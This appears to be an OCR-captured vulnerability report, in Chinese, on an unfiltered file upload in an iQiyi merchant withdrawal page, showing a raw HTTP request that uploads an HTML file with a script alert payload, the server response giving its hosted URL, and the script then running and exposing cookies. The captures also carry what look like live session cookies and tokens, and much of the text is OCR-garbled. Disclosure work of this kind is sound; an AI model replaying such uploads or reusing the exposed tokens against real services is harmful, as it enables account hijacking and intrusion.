1.https://iqknow.iqiyi.com/#/incomeCenter?type=incomeSet
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2.选择上传html文件，对后缀没有过滤，返回包返回上传文件的地址[image: image2.jpg]=,___Raw  Hex

Raw  Hex
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POFT /api/v1/ayknow/web/merchant/wi thdraw/upload HTTP/1. 1

' Hobt: iaknow. igiyi. con

| Copkie: route=4fb871d47844d6939af148dd61bFf6ad; INS:|
1gg0ABj_gtekBiouCiAxZTQOMz 10YzUwYmQwZDdTY JESMJ iMWRKZ jVhYmN
mZhAA | & |0AUGAR i wCX | kCiAxZTQOMZ | 0YZUnYmQnZDd 1Y JESMm i MNRKZ
VhYmNnZhAAggEA i gEKC IKIDF INDQzM R jNTB  ZDBKN2V iMTkyYm| xZGRmN
WFiY2Zm; QC005=b907a2341121b837e5bfb0d39aB2cea; QC173=0
0C006=isbs1|5apagm7bg556f0p|rr; QCO08=
1687348709. 1687348709. 1687525620, 2; T0C030=1; POOOO:
1687348712, 3cbSee184e; QPO01=1; GP0017=100; QPO018=100
QP0013=; 10_SAAS_QC005=a25dc904db0da0405a5b088e1926c01
_gcl_au=1.1.584416923. 1687350076; _clck=
1ffuevl|2|fon|0[1267; P0O0001=
76B2Xi E6ULxJWyJFyoHOOGF | Xm2xeKD6KVb1215AZSTHOO I NVywf j IWxd |
SPZkeoew2d; P00003=2216591599; P00010=2216591599; P01010=
1687363200; P00007=
76B2Xi EGULxJNyJfyoHOOGF | Xm2xeKD6KVb1215AZSTHOO | 3NVyw j Wxd |
SPZkeoew24; POOPRU=2216591599; P00002=
H7B422ui d2243A221659159942C%22pr uk2243A2216591599%2CK22use
r_name%22%3A%22137+***2487%22%2C%22n i ckname%22%3A%22%5Cu752
8450u623784168001%2242C%22pn  ckname’22%43A%2245Cu7528%50u623
7841800 422420422ty pe%2243A4%2C422ema | |%22%3A%2252247D
Q0160=47B%22type%2243A3%20%22conf ormLog i nType's22%3A0K7D
QP0037=0; QC170=0; uuid=6f9c60896cd4436982216c675257d0c5
T00404=b11a4b67a2¢e0430dad19b17e84bacd9; 0C010=40297766;
QC007=DIRECT; QC175=
47B%22upd%2243At r uek2C4220t42243A168752562197747D; QC191=;
c179=
A7B422v i pTypes'i22%3AN22422%2C%22v i pTypesi22%3A0% 20K 22user | co
n%22%3A%2252F%2Fwww. qiyipic. comh2Fcommon®2F f i x%2Fhead cons
%2Ffemale~130. png%22%20%22u d%2243A2216591599%20%22 i conPend
ant%22%3A%22%22%2C%22a l IVip%22%3Afalse%7D; nu=0; QC189=
5257_B%206634_B4205465_B!205924_D2C5468_BK2C6151_A%205592_
BY2C6031_BY205670_BY206629_BY206050_B%206082_B4206312_B42C6
091_B%206578_B4206237_A%206249_C%2C6300_B206456_BY206504_C
; QC186=false; QC163=1; QY_PUSHMSG_|
907a2341121b837e5bfb0d392B2cea; _dfp=
a0ec9cd32109b34b4bbbB0461a6397d66637b3e4dB719abde9215683002c
b4cdBF9R168864471296981687348713969; satoken=
97c60ab7-020e-4148-2249-d88b7c31fcb2

' User-Agent: Mozilla/5.0 (Windows NT 10.0; Win6d; x64
rv:109.0) Gecko/20100101 Firefox/114.0

' Accept: application/json, text/plain, */*

, Accept-Language:
2h-CN, zh;q=0. 8, zh-TW;q=0. 7, zh-HK;q=0.5, en-US;a=0. 3, en;=0. 2

' Accept-Encoding: gzip, deflate

' Satoken: 97c60ab7-020e-4f48-a249-d8Bb7c31fcb2

' Content-Type: multipart/form-dat
boundary:
265333

| Content-Length: 3279

Origin: https://iaknow. igiyi. com

' Referer: https://iaknow. iaiyi. con/

| Sec-Fetch-Dest: empty

' Sec-Fetch-Mode: cors

' Sec-Fetch-Site: sameorigin

 Te: trailers

' Connection

]

) — ~23037243632691543523517265333

) Content-Dispos|tion: form-data; name="file"; |filename="
Snipaste_2023-46-23_21-18-13. htm| "

Content-Type: |mage/ jpeg

-23037243632691593523517

close

scriptoalert ('XsS')</script>
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1 HTTP/1.1 200 OK

2 Server: nginx

3 Date: Fri, 23 Jun 2023 13:18:31 GNT

4 Content-Type: appl ication/json;charset=UTF-8

5 Connection: close

6 vary: accept-encoding

7 AccessControl~Al low-Origin: https://igknow. igiyi.com

8 Access=Control-Al low-Methods: GET, POST, OPTIONS

9 Access-Control-Al low-Headers
appld, User-Agent, X-Requested-With, Cache-Control, Content=Typ
e. referrer, P00001, platform, deviceld, osVersion, ifVersion, dfp
LUID, pluginVersion, btype, version, vipType, agentVersion, appVe
rsion, p1, feedSign, feedT imeStamp, ayid

10 Access=Control-Al low-Credentials: true

11 Access—Control-Max-Age: 86400

12 Content-Secur ity-Policy: upgrade-insecure-requests

13 Content-Secur ity-Pol icy: upgrade-insecure-requests

14 Content-Length: 265

15

16 {

data 1
“originalFilename":"Snipaste_2023-06-23_21-18-13. htm| ",
url "

"http://static=s. iqiyi.com/|equ/20230623/68dd78c514ad4d
5385332137e236a47d. htm| "

1.
TesTTtsE i T

“resultCode” ; "A00000"

"spendT ime" : 68,

"request|d": "c208d052¢5234e5b93305d49¢920b397"
1





3.打开，发现html文件成功被解析，执行xss

[image: image3.jpg]B static-s.iqiyi.com/lequ/20230623/25433d39c874722b72b529664437b3d html
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@ static-s.igiyi.com

QC005=b907a23411f21b837e5bfb0d39aB2cea; QC173=0;
isbs1I5apagm7bg5560plr;
1687348709.1687348709.1687525620.2; TQCO30=1;
QPO017=100;

PO013=;

) SAAS ( =a25dc904db0da040f5a5b08861926¢01;
_gcl au=1.1.584416923.1687350076;
“clck=1ffuevl[2fcn|0[1267;
PO0001=76B2XiE6ULXIWvJfyoHOOCFIXm2xeKD6KVb1Z1SAZST
HOOI3NVywijiWx4ISPZkeoew24; PO0003=2216591599;
P00010=2216591599; P01010=1687363200;
PO0007=76B2XiE6ULX)WvJfyoHOOCFIXm2xeKD6KVb1Z1SAZST
HOOIBNVywijiWxaISPZkeoew24; POOPRU=2216591599;
PO0002=967B%220id%22%3A2216591599%2C%22pru
%22%3A2216591599%2C%22user name%22%3A
%22137+#++2487%22%2C%22nickname%22%3A
%2295Cu7528%5Cu6237841e80ef%22%2C%22pnickname
%229%3A%22%5Cu7528%5Cu6237841e80ef%22%2C%22type
%22%3A4%2C%22email%22%3A%22%22%7D; QC160=
%7B%22type%22%3A3%2C%22conformLoginType
9%229%3A0%7D; QP0037=0; QC170=0;
uuid=6f9c60896cd4436982216c675257d0cS;
T00404=b11adb67a2ee0430da419b17e84bacd9;
QC010=40297766; QC007=DIRECT; QC175=%7B%22upd
%22%3Atrue%2C%22ct%22%3A1687525621977%7D;
QC191=; QC179=%7B%22vipTypes%22%3A%22%22
%2C%22vipType%%22%3A0%2C%22userlcon%22%3A%22%2F
9%2Fwwwigiyipic.com%2Fcommon%%2Ffix%2Fheadicons%2Ffe
male-130.png%22%2C%22uid%22%3A2216591599
9%2C%22iconPendant%22%3A%22%22%2C%22allVip
%22%3Afalse%7D; nu=0;

QC189=5257 B%2C6634 BY%2C5465 BI2C5924 D%2C5468 B
%2C6151 A%2C5592 B%2C6031 BY%2C5670 BK2C6629 B%2
C6050_BJ%2C6082 B%2C6312 BY%2C6091 BI2C6578 B%2C62
37_A%2C6249 C%2C6300 B%2C6456 B%2C6504 C;
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